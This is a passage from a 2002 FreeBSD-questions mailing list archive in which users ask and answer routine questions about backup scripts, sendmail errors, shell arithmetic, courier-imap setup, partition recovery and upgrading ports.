script intended it to be ran as "backup.sh 0" or "backup.sh 1", and that
argument is passed to ${LEVEL}.

The script then checks for ${LEVEL} to be of the value "0" or "1",
otherwise it exits with the "Level-${LEVEL} unknown" error.  The code for
that is in the tar_backup() function:

    if [ "${LEVEL}" = "0" ]; then
<... etc ...>
    elif [ "${LEVEL}" = "1" ]; then
<... etc ...>
    else
      # Backup level error
      echo "Error: Level-${LEVEL} unknown"
      exit

What you might want to do is put "LEVEL=${1}" and then run the script
using "backup.sh 0" and "backup.sh 1" to get the different levels without
having to modify the file.

Does any of this make sense?  I'm better at programming, not explaining or
teaching it. :)



> Level-1 Backup END
> Level-1 Backup Verify Wed Jul 24 15:38:47 PDT 2002
> tar: echo not found in archive
> tar: Level-1 Backup Verify END not found in archive
>
[ ... snip ... ]
>
> # tar_verify function: test the archive for errors
> tar_verify ()
> {
>    echo "Level-${LEVEL} Backup Verify ${NOW}"
>    # Backup verify test
>    tar --list --verbose \
>        --file ${DESTFILE} \
>    echo "Level-${LEVEL} Backup Verify END"
> }
>

The \ at the end of a line means that the said line continues onto the
next (line).  The script is trying to run the command "tar --list
--verbose --file ${DESTFILE} echo "Level-${LEVEL} Backup Verify END"".
Remove the \ off the end of "--file ${DESTFILE} \".  This will cause the
script to run "tar --list --verbose --file ${DESTFILE}" and then " echo
"Level-${LEVEL} Backup Verify END"", which seems to be the intention.

Hope this helps.


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From owner-freebsd-questions  Sun Jul 28  9:36: 0 2002
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On Wed, 24 Jul 2002, Brossin Pierrick wrote:

> ===> Patching for windowmaker-0.80.1
> ===> Applying FreeBSD patches for windowmaker-0.80.1
> sed: illegal option -- i
> usage: sed script [-Ean] [file ...]
> sed [-an] [-e script] ... [-f script_file] ... [file ...]
> *** Error code 1
>
> Stop in /usr/ports/x11-wm/windowmaker.
>

Looks like an old version of sed(1), maybe?  I don't know if the -i option
was always there or if it was introduced recently.  It looks like whatever
version of sed is on your system doesn't recognize that option.

If you cvsup your ports but not the system itself, I would recommend doing
the whole cvsup/buildworld/installworld procedure, which is at
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/cutting-edge.html


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From owner-freebsd-questions  Sun Jul 28  9:36:10 2002
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Gordon Powell wrote:

> After upgrading from 4.3 to 4.6 my cvsup executable seems to have 
> disappeared.  Has anyone else had this problem?
> Where can I get cvsup?


If you have a recent port tree, you will find it in there. You have to 
choose between a GUI version, and etc. There was a bug in cvsup that 
became apparent after 9 Sep 2001. You need a version after 16.1d. My 
version is

ruby# cvsup -v
CVSup client, non-GUI version
Copyright 1996-2002 John D. Polstra
Software version: SNAP_16_1f

Kent


-- 
Kent Stewart
Richland, WA

http://users.owt.com/kstewart/index.html


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------=_NextPart_000_001F_01C23635.8000D520
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Hello,

I just obtained a copy of the FreeBSD HANDBOOK which also came with the =
version 4.4 software. I am having a bit of trouble configuring my sound =
card (SoundWave PRO PCI, with the TRIDENT chipset). When I start X (with =
the KDE desktop) I am getting the following error message:

Sound Server informational message:
Error while initializing the sound driver:
device /dev/dsp can't be opened (Device not configured)
The sound server will continue using the null output device.

Is there any drivers, config files available for this card?
The card is setup to use IRQ11.

Also, I would like to configure my ISA based USRobotics Sportster modem.
I would need to dial out as a VT100 terminal and also as PPP.

Thank you for any assistance.

Gaspar Kiraly, Jr.
gkiralyjr@email.msn.com


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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I just obtained a copy of the FreeBSD =
HANDBOOK=20
which also came with the version 4.4 software. </FONT><FONT face=3DArial =
size=3D2>I=20
am having a bit of trouble configuring my sound card (SoundWave PRO PCI, =
with=20
the TRIDENT chipset). When I start X (with the KDE desktop) I am getting =
the=20
following error message:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Sound Server informational =
message:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Error while initializing the sound=20
driver:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>device /dev/dsp can't be opened (Device =
not=20
configured)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>The sound server will continue using =
the null=20
output device.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Is there any drivers, config files =
available for=20
this card?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>The card is setup to use =
IRQ11.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Also, I would like to configure my ISA =
based=20
USRobotics Sportster modem.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I would need to dial out as a VT100 =
terminal and=20
also as PPP.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank you for any =
assistance.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Gaspar Kiraly, Jr.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:gkiralyjr@email.msn.com">gkiralyjr@email.msn.com</A></FONT=
></DIV>
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From: "Grant Peel" <grant@thenetnow.com>
To: <freebsd-questions@freebsd.org>
Subject: Getting Piriodic info 2x
Date: Sun, 28 Jul 2002 13:03:28 -0400
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Hi all,

I am getting the Daily, Weekly and Monthly piriodic runs emailed to me twice
When I open pine, I see the output twice. No problems I can see with
crontab. Any ideas?

-Grant

Grant W. Peel
Server Administrator
The Net Now -- Expresshost
http://thenetnow.com
grant@thenetnow.com



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Date: Sun, 28 Jul 2002 10:54:17 -0700
From: Adam Weinberger <adam@vectors.cx>
To: "Jack L. Stone" <jackstone@sage-one.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Web Forums Software
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/usr/ports/www/slash

tried and true.

-Adam


>> (07.28.2002 @ 0611 PST): Jack L. Stone said, in 1.0K: <<
> First, am running FBSD 4.5-RELEASE and FrontPage 2002
> 
> On a fairly busy website hosted, it has been using the FrontPage Discussion
> Board prefab scripts "webbots" for the Forums for several years. Forums are
> essential to this web site.
> 
> However, the FP prefab boards are "quirky" and more recently even more
> quirky, after upgrading FBSD, Apache, and the FrontPage extensions. Now the
> messages retain absolutely no formatting and makes for one big paragraph on
> each post. Also, for a long time have been putting up with "double posts"
> that occur through fault of the webbot and not the poster.
> 
> Can someone recommend some other choices for forums similar to the format
> being used now (have looked at "www_board" and "Phorum" but don't like
> either):
> http://www.antennex.com/atheory2/ 
> 
> Many thanks for any recommendations.....
> 
> Best regards,
> Jack L. Stone,
> Administrator
> 
> SageOne Net
> http://www.sage-one.net
> jackstone@sage-one.net
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
>> end of "Web Forums Software" from Jack L. Stone <<


--
"Oh good, my dog found the chainsaw."
        -Lilo, "Lilo & Stitch"
Adam Weinberger
adam@vectors.cx
http://vectors.cx


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From owner-freebsd-questions  Sun Jul 28 11: 0: 7 2002
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On Thu, 25 Jul 2002, MET wrote:

> There is without a doubt that FreeBSD is an amazing server OS, but how
> well does it stand as a desktop, or rather a laptop.  To be blunt, I'm
> tired of Microsoft and was wondering how feasible it is to run FreeBSD
> as my Laptop OS.  I will do some searching, but are there good GUI
> environments for word processing, C/C++ development, email, ICQ, some
> port of AOL Instant Messenger (I can't believe I'm putting this here),
> MP3 players/converters, web browsers that actually keep up to date with
> the standards, and anything else commonly used ?
>

I use FreeBSD on my desktop and my laptop.  Here's what I'm using,
software wise:

- XFree86 4.2.0 on the desktop with an NVidia TNT2 M64 (much much faster
than 3.3.6) and XFree86 3.3.6 on my laptop (the drivers don't like the
Trident video card), with WindowMaker as a window manager
- Pine 4.44 for e-mail
- Galeon and Netscape 4.79 for a web browser
- Everybuddy for MSN (wish I had something that reads the list off the
server) (can also do ICQ, AIM, Yahoo, etc)
- ICQ2Go (icqlite, java-based) with-in netscape4 for ICQ
- WordPerfect 8 or AbiWord for word processing
- GNUmeric for spreadsheets
- Acrobat Reader 5 for viewing PDFs
- GhostView for viewing PS files
- GIMP for editing/viewing images
- ImageMagick for viewing images
- APSFilter for using my printer (Canon BJC-4400)
- Samba for interacting with windows file shares
- XMMS for listening to MP3s
- XCDPlayer for a CD player
- mkisofs(1) and burncd(1) for burning CDs
- dagrab and lame for ripping/encoding CDs to MP3s
- ircII for IRC

That's pretty much all I do with my machines.  I spend most of my time
with xterm's open.

I have one Windows machine left in the house (out of about 7 machines),
and it is for my siblings and for playing games.  Maybe some day WineX
(www.transgaming.com) will work properly in FreeBSD and I can play Diablo
2 and StarCraft from here :)


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From owner-freebsd-questions  Sun Jul 28 11:23:31 2002
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From: John Wilson <jmw_ymail@yahoo.com>
Subject: What to do with a spare computer?
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Good day,

I've recently obtained a used IBM PC300 PII/300 and
started wondering to myself what to do with it.  My
main system is connected to a Linksys router, which
functions as my gateway.  I've turned off DHCP on the
Linksys so as to assign my main machine a
pseudo-static IP.

I was pondering the idea of settup up a caching
nameserver on the IBM.  It would at least give me
something to play with.  But I'm also fishing for
other ideas in regard to other uses.

If you had an old PII just sitting there all lonely
looking, what would you do with it? :p

Thanks for the suggestions,
John Wilson

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Sun Jul 28 11:45: 5 2002
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Subject: Re: What to do with a spare computer?
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At 13:23 7/28/2002, John Wilson, wrote:
>If you had an old PII just sitting there all lonely
>looking, what would you do with it? :p

You could help the world:
http://www.aspenleaf.com/distributed/distrib-projects.html
http://www.Google.com/search?q=3Ddistributed+computing+projects

Start Here to Find It Fast!=A9 -> http://www.US-Webmasters.com/best-start-pa=
ge/


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From owner-freebsd-questions  Sun Jul 28 11:49:26 2002
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Make a firewall out of it, though you don't need that much horsepower for a
small network.  Your LinkSys probably isn't doing much in the way of packet
filtering, so you can increase your security considerably and probably
eliminate the LinkSys altogether.  Certainly a good learning experience if
you've never done this before.  A caching DNS server is ideal to run on a
gateway like this.

Set it up as a development server if you do web and database development.
Takes the load off your local machine if you're doing much database work.

Or set it up as a local file server.  Not much in the 'something to play
with' category, but if it's got room for a few hard disks, throw a couple of
big IDE drives in it and stash your mp3 and p-rn collection on the thing.
;-)

Jim


----- Original Message -----
From: "John Wilson" <jmw_ymail@yahoo.com>
To: <freebsd-questions@freebsd.org>; <jmw74@charter.net>
Sent: Sunday, July 28, 2002 12:23 PM
Subject: What to do with a spare computer?


> Good day,
>
> I've recently obtained a used IBM PC300 PII/300 and
> started wondering to myself what to do with it.  My
> main system is connected to a Linksys router, which
> functions as my gateway.  I've turned off DHCP on the
> Linksys so as to assign my main machine a
> pseudo-static IP.
>
> I was pondering the idea of settup up a caching
> nameserver on the IBM.  It would at least give me
> something to play with.  But I'm also fishing for
> other ideas in regard to other uses.
>
> If you had an old PII just sitting there all lonely
> looking, what would you do with it? :p
>
> Thanks for the suggestions,
> John Wilson


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From owner-freebsd-questions  Sun Jul 28 11:58:20 2002
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Date: Sun, 28 Jul 2002 13:55:32 -0500
To: John Wilson <jmw_ymail@yahoo.com>, freebsd-questions@FreeBSD.ORG
From: "Jack L. Stone" <jackstone@sage-one.net>
Subject: Re: What to do with a spare computer?
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At 11:23 AM 7.28.2002 -0700, John Wilson wrote:
>Good day,
>
>I've recently obtained a used IBM PC300 PII/300 and
>started wondering to myself what to do with it.  My
>main system is connected to a Linksys router, which
>functions as my gateway.  I've turned off DHCP on the
>Linksys so as to assign my main machine a
>pseudo-static IP.
>
>I was pondering the idea of settup up a caching
>nameserver on the IBM.  It would at least give me
>something to play with.  But I'm also fishing for
>other ideas in regard to other uses.
>
>If you had an old PII just sitting there all lonely
>looking, what would you do with it? :p
>
>Thanks for the suggestions,
>John Wilson
>
Give details about your current setup and what you do with it, otherwise, I
would only be guessing based on what I would do with it here in my
system.... DNS, mailserver, FTP server, etc.....

....hmmmm. Interesting. Had "charter.net" on my bad list for spam. Had to
lift it to send this.

Best regards,
Jack L. Stone,
Administrator

SageOne Net
http://www.sage-one.net
jackstone@sage-one.net

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From owner-freebsd-questions  Sun Jul 28 12: 2:28 2002
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Date: Sun, 28 Jul 2002 14:02:21 -0500
From: Dan Nelson <dnelson@allantgroup.com>
To: John Wilson <jmw_ymail@yahoo.com>
Cc: freebsd-questions@FreeBSD.ORG, jmw74@charter.net
Subject: Re: What to do with a spare computer?
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X-Loop: FreeBSD.ORG

In the last episode (Jul 28), John Wilson said:
> I've recently obtained a used IBM PC300 PII/300 and started wondering
> to myself what to do with it.  My main system is connected to a
> Linksys router, which functions as my gateway.  I've turned off DHCP
> on the Linksys so as to assign my main machine a pseudo-static IP.
> 
> I was pondering the idea of settup up a caching nameserver on the
> IBM.  It would at least give me something to play with.  But I'm also
> fishing for other ideas in regard to other uses.

Put a honking big squid cache on it.

-- 
	Dan Nelson
	dnelson@allantgroup.com

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From owner-freebsd-questions  Sun Jul 28 12:10:22 2002
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Date: Fri, 26 Jul 2002 22:14:26 -0400
From: Andrew Martin <ugly@inhuman.org>
To: freebsd-questions@freebsd.org
Subject: 'let' syntax in /bin/sh
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Hello,

For the life of me I haven't been able to figure out the correct syntax
for using 'let' in the sh that comes with FreeBSD (4.6-STABLE).

$ let x=0 
let: arith: syntax error: "x=0"

I have tried many other variations, and read through 'man sh', as well
as searching google.  Could someone point me in the right direction?

Thanks,

-Andrew

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From owner-freebsd-questions  Sun Jul 28 12:16: 5 2002
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From: Hanspeter Roth <hanspeter_roth@hotmail.com>
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Subject: reconstructing partition table
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Hello,

yes I have no backup and I have destroyed the partition table.
Now I'm trying to reconstruct the partition table.
One of the partitions is a FreeBsd one. The disklabel seems to be
still intact. I can boot using the fixit floppy unsing /boot/loader.
But I can't boot using /kernel. Booteasy displays FreeBsd but beeps
when selecting it. Before I destroyed the partition table booteasy
was cooparative selecting FreeBsd.

I was trying Gpart Linux-fdisk, Linux-sfdisk and FreeBsd-fdisk but
couldn't manage to fix the boot problem.
The disk is a 20GB with a logical geometry of 2491/255/63.
And it seems that the FreeBsd partition starts on logical cylinder
2081. I realized now that this is beyond the 1023 boundary. But it
seems to have worked before.
Gpart found:

Primary partition(3)
   type: 165(0xA5)(FreeBSD/NetBSD/386BSD)
   size: 3216mb #s(6586650) s(33431265-40017914)
   chs:  (1023/254/63)-(1023/254/63)d (2081/0/1)-(2490/254/63)r

It shows two different chs settings.
I tryed to set the partition using Linux-sfdisk specifying start and
size in sectors. After booting the FreeBSD fixit cd fdisk shows some
strange chs setting: 1023/254/63-1023/254/63.
Then I tried to set the chs values by the fdisk of FreeBSD using
2081/0/1-2490/254/63.
But fdisk want's to ajust them:

sysid 165,(FreeBSD/NetBSD/386BSD)
    start 33431265, size 6586650 (3216 Meg), flag 80 (active)
        beg: cyl 33/ head 0/ sector 1;
        end: cyl 442/ head 254/ sector 63
Are we happy with this entry? [n]

No I'm not happy with this entry.
But how can I make fdisk accept 2081/0/1-2490/254/63 ?

Is there some (free/commertial) tool which can reconstruct FreeBSD
partitions?

-Hanspeter

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From owner-freebsd-questions  Sun Jul 28 12:17:26 2002
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From: "Ian Barnes" <ian@cerebellum.za.net>
To: <questions@freebsd.org>
Subject: Sendmail Error
Date: Sun, 28 Jul 2002 21:17:12 +0200
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Hi,

I recently upgraded from 4.5 to 4.6. Now sendmail gives this error in
/var/log/maillog. It happens when i try and send mail from root to any other
local user. This is the error message :

**This mail was from root, for root**

Jul 28 19:11:33 cerebellum sendmail[396]: g6SJBXhj000396: from=root,
size=34, class=0, nrcpts=1,
msgid=<200207281911.g6SJBXhj000396@cerebellum.za.net>, relay=root@localhost
Jul 28 19:11:38 cerebellum sendmail[396]: g6SJBXhj000396: to=root,
ctladdr=root (0/0), delay=00:00:05, xdelay=00:00:05, mailer=relay,
pri=30026, relay=localhost.za.net. [196.22.194.239], dsn=5.1.1, stat=User
unknown
Jul 28 19:11:38 cerebellum sendmail[396]: g6SJBXhj000396: g6SJBXhk000396:
DSN: User unknown
Jul 28 19:11:38 cerebellum sendmail[396]: g6SJBXhk000396: to=root,
delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=31058,
relay=localhost.za.net. [196.22.194.239], dsn=5.6.0, stat=Data format error
Jul 28 19:11:38 cerebellum sendmail[396]: g6SJBXhk000396: g6SJBXhl000396:
return to sender: Data format error
Jul 28 19:11:38 cerebellum sendmail[396]: g6SJBXhl000396: to=postmaster,
delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=32082,
relay=localhost.za.net., dsn=5.6.0, stat=Data format error
Jul 28 19:11:38 cerebellum sendmail[396]: g6SJBXhk000396: Losing
./qfg6SJBXhk000396: savemail panic
Jul 28 19:11:38 cerebellum sendmail[396]: g6SJBXhk000396: SYSERR(root):
savemail: cannot save rejected email anywhere


Below are my config files, aliases, virtuser. (all relevent parts anyway)

*ALIASES*

root: creati0n@somedomain.co.za

# Basic system aliases -- these MUST be present
MAILER-DAEMON: postmaster
postmaster: root


*VIRTUSERTABLE*

###SomeDomain Email###
creati0n@somedomain.co.za             creati0n
@area.co.za                     creati0n
###End SomeDomain Emails###


creati0n is a local user on the server. If i send mail to it from any
account, even using smtp on the server, it works fine. It just seems to be
when i try and send mail from a console. Someone please help

Regards
Ian Barnes


-------------------------
BOFH - Mom's Pharmacies
Email - ian@cerebellum.za.net
-------------------------


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From owner-freebsd-questions  Sun Jul 28 12:33:56 2002
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From: Jerry McAllister <jerrymc@clunix.cl.msu.edu>
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Subject: Re: write failed, file system full
To: blackcrow12885@attbi.com (Justin Jones)
Date: Sun, 28 Jul 2002 15:33:49 -0400 (EDT)
Cc: freebsd-questions@FreeBSD.ORG
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> 
> I cant seem to get anything to run anymore, after I ran make install for 
> cvsup and accidentally did a control-c, I cant make deinstall it, nor will 
> it install again using make NO_CHECKSUM=yes. I am completely lost, I don't 
> know what to do from here, and I cant seem to figure out what I have/don't 
> have ports wise on my system, nor can i figure out how to remove anything 
> to make it work, can someone PLEASE help me, I'm desperate!

Well, your subject says file system full even though you don't say anything
about that in the body of your message.   Anyway, if you are getting
that message, you will have to work on making room before you 
do anything else.  Do a   'df -k'  to see what is full
and use  du -sk * in various files systems to see what is filling
them up.  You may need to move some stuff of make bigger partitions.
 After that you can get to the next questions of how
to clean up and restart your cvsup stuff.

////jerry
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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> 


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From owner-freebsd-questions  Sun Jul 28 12:44:39 2002
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Date: Sun, 28 Jul 2002 14:44:31 -0500
From: Dan Nelson <dnelson@allantgroup.com>
To: Andrew Martin <ugly@inhuman.org>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: 'let' syntax in /bin/sh
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In the last episode (Jul 26), Andrew Martin said:
> Hello,
> 
> For the life of me I haven't been able to figure out the correct syntax
> for using 'let' in the sh that comes with FreeBSD (4.6-STABLE).
> 
> $ let x=0 
> let: arith: syntax error: "x=0"

just do "x=0".  If you want to assign the result of a math expression
to a variable, do "y=$(($x+1))".  "let ..." is equivalent to "$(( ... ))"

-- 
	Dan Nelson
	dnelson@allantgroup.com

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From owner-freebsd-questions  Sun Jul 28 13: 0:45 2002
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From: Andrew J Caines <A.J.Caines@halplant.com>
To: freebsd-questions@FreeBSD.ORG
Subject: Re: 'let' syntax in /bin/sh
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X-Loop: FreeBSD.ORG

To add a note to Dan Nelson's good advice...
> just do "x=0".  If you want to assign the result of a math expression
> to a variable, do "y=$(($x+1))".  "let ..." is equivalent to "$(( ... ))"

The shell arithmetic - (( ... )) - is not a common feature of the many and
various Bourne shell implementations. If you're looking for a lowest
common denominator for shell arithmetic, see expr(1).

Shell arithmetic is implemented quite consistently in ksh and bash (and
probably zsh).


-Andrew-
-- 
 _______________________________________________________________________
| -Andrew J. Caines-   Unix Systems Engineer   A.J.Caines@halplant.com  |
| "They that can give up essential liberty to obtain a little temporary |
|  safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 |

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From owner-freebsd-questions  Sun Jul 28 13: 1:57 2002
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To: freebsd-questions@FreeBSD.org
Subject: GNUnet won't build
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Using the lastest Makefile (dated "Revision 1.3, Mon Jul 22 22:45:51 
2002 UTC") I received the following error:

--------------------------------------------------------------------------
===>  Patching for gnunet-0.4.2
s|-pthread [\$]CFLAGS|\$CFLAGS|g ;  s|-lpthread|"-pthread"|g: not found
*** Error code 127

Stop in /usr/ports/net/gnunet.
--------------------------------------------------------------------------

Has anyone else experienced this? I would assume so...


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From owner-freebsd-questions  Sun Jul 28 13:30:20 2002
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From: "Danny Carroll" <danny@legalaliens.org>
To: <questions@freebsd.org>
Subject: Courier-imap and MySQL
Date: Sun, 28 Jul 2002 21:56:11 +0200
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Hiya...

I have heard about a lot of people with the same problem as me.
I am trying to setup virtual mail users with postfix, courier-imap and
mySQL.

The postfix stuff works well, delivering email where I want.
The courier pop and imap services, however refuse to authenticate.

I followed the proceedure at the following site:
http://kirb.insanegenius.net/postfix.html
The only message in the maillog log file is: "Jul 28 21:04:04 guard pop3d:
LOGIN FAILED, ip=[::ffff:127.0.0.1]"

I still can't figure out if that is the AuthModule which can't log in to
mySQL or the user/pass for the mail user is wrong.
Did ANYONE?  Manager to get this going on 4.6-STABLE

Here are my files:
[09:49pm root@guard:/usr/local/etc/courier-imap]#egrep ^[^#] authdaemonrc
authmodulelist="authmysql"
authmodulelistorig="authcustom authuserdb authmysql authpam"
daemons=5
version="authdaemond.mysql"
authdaemonvar=/usr/local/var/authdaemon

[09:49pm root@guard:/usr/local/etc/courier-imap]#egrep ^[^#] authmysqlrc
MYSQL_SERVER                    guard
MYSQL_USERNAME                  courier
MYSQL_PASSWORD                  XXXX
MYSQL_SOCKET            /tmp/mysql.sock
MYSQL_PORT              3306
MYSQL_OPT               0
MYSQL_DATABASE                  maildb
MYSQL_USER_TABLE                users
MYSQL_CRYPT_PWFIELD             crypt
MYSQL_CLEAR_PWFIELD             clear
MYSQL_UID_FIELD                 uid
MYSQL_GID_FIELD                 gid
MYSQL_LOGIN_FIELD               id
MYSQL_HOME_FIELD                home
MYSQL_NAME_FIELD                name
MYSQL_MAILDIR_FIELD             maildir

[09:50pm root@guard:/usr/local/etc/courier-imap]#egrep ^[^#] pop3d
prefix=/usr/local
exec_prefix=/usr/local
sbindir="/usr/local/sbin"
PIDFILE=/var/run/pop3d.pid
MAXDAEMONS=40
MAXPERIP=4
AUTHMODULES="authdaemon"
AUTHMODULES_ORIG="authdaemon"
POP3AUTH=""
POP3AUTH_ORIG="LOGIN CRAM-MD5 CRAM-SHA1"
POP3AUTH_TLS=""
POP3AUTH_TLS_ORIG="LOGIN PLAIN"
PORT=110
ADDRESS=0
TCPDOPTS="-nodnslookup -noidentlookup"
POP3DSTART=YES



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From owner-freebsd-questions  Sun Jul 28 14: 1:18 2002
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I just installed 4.6 and it boots up but then it says i need a username & password. i don't know the them & didn't set them.

what do i do to get the login name/password set so that i can open FreeBSD?



---------------------------------
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<P>I&nbsp;just installed 4.6 and it boots up but then it says i need a username &amp; password. i don't know the them &amp; didn't set them.</P>
<P>what do i do to get the login name/password set so that i can open FreeBSD?</P><p><br><hr size=1><b>Do You Yahoo!?</b><br>
<a href="http://health.yahoo.com/">Yahoo! Health</a> - Feel better, live better
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From owner-freebsd-questions  Sun Jul 28 14: 8:38 2002
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In my quest to rid myself of the need for Windows, I have found good 
replacements for almost every Windows app.  However, I am still looking 
for one.  I have a prototype board from XESS (http://www.xess.com), 
which uses a Xilinx FPGA, along with the Foundation Tools, which provide 
a VHDL IDE plus the "compiler", transfer (over parallel) programs, and 
other misc utilities.  Is anyone else doing this kind of work, and if 
so, what are you using?  Thanks,
-Forsetti


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From owner-freebsd-questions  Sun Jul 28 14: 9:26 2002
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Subject: Duplicate entries for ruby-optparse from pkg_version -v
From: Stacey Roberts <stacey@Demon.vickiandstacey.com>
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Hello,
     I'm running a pretty new (built just last week) 4.6 Stable system
and after cvsup'ing my ports tree ( and running portsdb -Uu) I get
multiple entries for ruby-optparse:
ruby-optparse-0.8.4                 <   needs updating (port has 0.9)
ruby-optparse-0.9                   =   up-to-date with port

What could I do about this with respect to attempting to correct with
pkgdb -F?

I've had a couple of bad experiences using pkgdb -F in the past, so I'd
appreciate some guidance on using it to address the above situation.

More info on the box, I actually installed 4.4 Rel (from CD Set) and
then upgraded to 4.6 Stable:
FreeBSD <snip> 4.6-STABLE FreeBSD 4.6-STABLE #0: Wed Jul 24 02:57:09 BST
2002 root@:/usr/obj/usr/src/sys/<snip>  i386
#

Thanks in advance to all that might reply.

Stacey



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From owner-freebsd-questions  Sun Jul 28 14:11:57 2002
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From: Darren Crotchett <backdoc@crotchett.com>
To: "Michael Sharp" <freebsd@ec.rr.com>
Subject: Re: portupgrade aftermath
Date: Sun, 28 Jul 2002 16:11:41 -0500
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How about I try:
pkg_deinstall -fr ruby-fnmatch

I tried pkg_deinstall ruby-fnmatch and it returned:
<snip>
scsibox# pkg_deinstall ruby-fnmatch
--->  Deinstalling 'ruby-fnmatch-1.1b_1'
pkg_delete: package 'ruby-fnmatch-1.1b_1' is required by these other pack=
ages
and may not be deinstalled:
portupgrade-20020429
portupgrade-20020429
portupgrade-20020429
** The following packages were not deinstalled (*:skipped / !:failed)
        ! ruby-fnmatch-1.1b_1   (pkg_delete failed)
</snip>

Or, would leaving the -r off work better?

Aftwards, I could try reinstalling portupgrade.  I feel safe that about i=
t not=20
deleting anything I need.  But, I wonder how good portupgrade would be at=
=20
uninstalling itself.

Darren



On Sunday 28 July 2002 09:27 am, Michael Sharp wrote:
> you can de-install ruby-fnmatch.  Its obsolete, thus, the error.
>
> michael
>
> Darren Crotchett said:
> > Sorry to be spamming the list this morning.  But, impatience has
> > gotten the  better of me.  I went ahead and took a small risk of
> > further mucking things  up.  But, it worked out good.  For the
> > benefit of anyone trying to help me  and anyone who might read
> > this thread in the archives, let me summarize.
> >
> > I had to use portupgrade -fr mailman to get mailman to reinstall.
> > I did add  CGI_GID?=3D to the last line of /etc/make.conf.  And, all
> > of this did work.
> >
> > I still have a little tidying up to do, though.
> >
> > After having run portsdb -Uu, I tried to re-run portupgrade -r
> > ruby-fnmatch.   But, I get an error:
> >
> > cd: can't cd to /usr/ports/devel/ruby-fnmatch
> > ** The port directory for 'devel/ruby-fnmatch' does not exist.
> > --->  Skipping 'sysutils/portupgrade' (portupgrade-20020429)
> > because  'devel/ruby-fnmatch' (ruby-fnmatch-1.1b_1) failed
> > ** The following packages were not installed or upgraded
> > (*:skipped /  !:failed)
> >         ! devel/ruby-fnmatch (ruby-fnmatch-1.1b_1)      (port
> > directory error) * sysutils/portupgrade
> > (portupgrade-20020429)
> >
> > Can someone give me some insight to what these errors are all
> > about?
> >
> > Thanks,
> > Darren
> >
> > On Sunday 28 July 2002 08:50 am, Darren Crotchett wrote:
> >> One more question before I reinstall Mailman.  Will I need to
> >> use portinstall or portupgrade -N since, as far as portupgrade
> >> is concerned, it successfully upgraded it already?
> >>
> >> Darren
> >>
> >> On Sunday 28 July 2002 08:29 am, Darren Crotchett wrote:
> >> > I'm finally getting somewhere.  I got mysql server to compile
> >>
> >> by copying /etc/defaults/make.conf to /etc/make.conf and
> >> adding the line
> >>
> >> > SKIP_INSTALL_DB=3Dyes to the last line.
> >> >
> >> > Now, I thought I'd try the same thing with Mailman by adding
> >>
> >> CGI_GID?> > 65533 to my /etc/make.conf.  However, before I do,
> >> I'd like to know if this might adversely affect other
> >> programs.
> >>
> >> > Thanks,
> >> > Darren
> >> >
> >> > On Friday 26 July 2002 12:26 pm, Bauer wrote:
> >> > > Hi,
> >> > >
> >> > > On Fri, 26 Jul 2002 08:33:10 -0500
> >> > >
> >> > > Darren Crotchett <backdoc@crotchett.com> wrote:
> >> > > > Quick background:
> >> > > > I'm trying to transition from complete newbie to
> >>
> >> newbie-admin.  In other words, I can handle most of the
> >> basics of getting a system up and going.  Now I want to
> >> learn how properly admin a FreeBSD box.  I'm running
> >> 4.6-RELEASE.  Due to the recent security issues involving
> >> php, apache and openssh, I thought that I would try to
> >> upgrade all of my installed ports/packages.  Things went
> >> OK but, not great.  I have a couple of questions.  Here's
> >>
> >> how I did what I did:
> >> > > > cvsup -g -L 2 /path/to/ports-supfile
> >> > >
> >> > > You should always run portsdb -uU after you updated your
> >>
> >> ports to rebuild the INDEX
> >>
> >> > > > After running portupgrade, I was greeted with the
> >>
> >> following message:
> >> > > > ** The following packages were not installed or upgraded
> >>
> >> (*:skipped /!:failed)
> >>
> >> > > > =09! databases/mysql323-server (mysql-server-3.23.49)
> >>
> >> (install error)! devel/ruby-fnmatch (ruby-fnmatch-1.1b_1)
> >>  (port
> >>
> >> > > > =09directory error)* sysutils/portupgrade
> >>
> >> (portupgrade-20020429)
> >>
> >> > > > The first question I have is what to do about those
> >>
> >> messages? mysql-server 3.23.51is the version I have in
> >> /usr/ports.  I wonder why portupgrade had trouble
> >> installing?  Should I try manually installing it?  What
> >> command line options should I use with portupgrade for
> >> that?
> >>
> >> > > I don't know if this is the best way, but I always try a
> >>
> >> portupgrade -r port and look at the exact error make gives.
> >>
> >> > > > I don't know how important ruby-fnmatch is.  But, I don't
> >>
> >> know of any specific reason why I need it.  So, I'm not
> >> too worried about it. But, I don't care to have loose
> >> ends.  So, I do want to deal with it properly.  What
> >> should I do with it?
> >>
> >> > > Try to run portsdb -uU and then upgrade this port again.
> >> > >
> >> > > > Finally, this last part is more a comment than a question.
> >>
> >>  After upgrading, phpBB and mailman quit working.  I
> >> discovered that mysql was no longer set to start on boot
